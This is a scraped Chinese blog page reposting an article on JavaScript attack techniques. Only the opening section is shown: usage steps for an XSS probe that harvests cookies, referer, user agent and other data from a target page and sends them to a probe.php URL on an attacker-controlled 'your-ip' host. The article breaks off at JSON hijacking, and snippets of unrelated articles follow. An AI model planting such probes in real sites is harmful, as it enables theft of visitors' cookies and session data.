【网络安全】从浏览器到服务端讲JavaScript安全

server/2025/3/28 4:11:59/

未经许可,不得转载。
原作者余弦,本文对原文进行二次创作。

文章目录

    • 基本隐私收集
      • XSS探针
      • JSON 劫持
    • 内网浅渗透
      • 内网IP获取
      • 内网IP端口获取
      • 内网主机存活获取
      • 路由Web控制台操作
      • 内网脆弱Web应用控制
    • 突破浏览器边界
    • XSS Virus攻击
    • MongoDB
      • 数组绕过注入攻击
      • MongoDB 查询条件绕过(Bypass)与 PHP 传参漏洞
      • JavaScript 注入攻击
    • node.js
      • 瘟神eval
      • 本地文件包含

基本隐私收集

XSS探针

项目地址:

https://github.com/evilcos/xssprobe

用途:获取目标网站的通用数据,包括 referer、location、toplocation、cookie、domain、title、screen、flash 、browser、ua、lang 等。

使用步骤

  1. 对 probe.js 进行修改,将 http_server 配置为自己的 probe.php 网址,格式如 http_server = “http://your-ip/xssprobe/probe.php?c=”; 。

  2. 在目标页面中嵌入 probe.js 脚本,具体操作可参考 demo.html。

例图:

在这里插入图片描述

JSON 劫持

JSON 是一种常用于数据交


http://www.ppmy.cn/server/176969.html

相关文章

在C语言基础上学Java【Java】【一】

众所周知,Java是C风格的语言,对于学过C语言的人学Java可以快速适应。 废话不多说,直接边看代码边学。 数据类型,输入和输出 import java.util.Scanner;//为了使用Scanner public class a1 {//a1是类名,就是文件名&am…

Kubeasz工具快速部署K8Sv1.27版本集群(二进制方式)

文章目录 一、基本信息二、服务器初始化操作三、使用Kubeasz部署K8S集群四、验证集群 一、基本信息 1、部署需要满足前提条件: 注意1:确保各节点时区设置一致、时间同步;注意2:确保在干净的系统上开始安装;注意3&…

Linux 终端操作核心组合键

一、终端操作核心组合键 组合键功能描述使用场景示例Ctrl C强制终止当前正在运行的前台进程停止卡死的命令(如 ping)Ctrl D1. 发送 EOF(文件结束符) 2. 退出当前终端会话退出 bash 或 python 交互环境Ctrl Z暂停当前进程并放入…

Gitlab服务器数据迁移及版本升级

公司目前使用的GITLAB服务器,docker方式部署,GITLAB版本为13.11.0,由于版本太老存在安全漏洞,原服务器还部署了其他应用,不方便做升级操作,解决思路是将数据迁移新版本的gitlab服务器。 由于gitlab数据备份…

Word 小黑第40套

对应大猫43 主题 -浏览主题 -选择W样式标准文件就行 1级段落和2级段落(用项目符号不影响原本段落文字符号 颜色修改为自动) 整段变红的 不是把光标定位到红色字体那里 要选择几个红色字体 再创建样式 插入的空白页一定要是下一页,不能插空白…

Git(12)GitLab持续集成(CICD)

Git(12)之GitLab持续集成(CI/CD) Author: Once Day Date: 2025年3月18日 一位热衷于Linux学习和开发的菜鸟,试图谱写一场冒险之旅,也许终点只是一场白日梦… 漫漫长路,有人对你微笑过嘛… 全系列文章可查看专栏: Git使用记录_Once_day的博…

对接OpenAI 4O RealTime实现语音实时翻译

目录 资源获取后端实现ffmpeg处理音频文件 前端实现效果 资源获取 OpenAI官网Azure OpenAI 我这里用的是第二种,从Azure上获取的模型资源,想要从这获取得先注册Azure,并添加OpenAI资源,并且部署OpenAI 4O RealTime模型&#xff0…

Git笔记(5):GIT停止跟踪已提交的文件

例如:你误将 node_modules 或 logs 等目录提交到了 Git,后来添加到 .gitignore 但发现 Git 仍在跟踪它们, 此时需要: # 从暂存区移除全部文件(保留本地文件) git rm -r --cached . # 重新暂存需要的文件(.gitignore 已…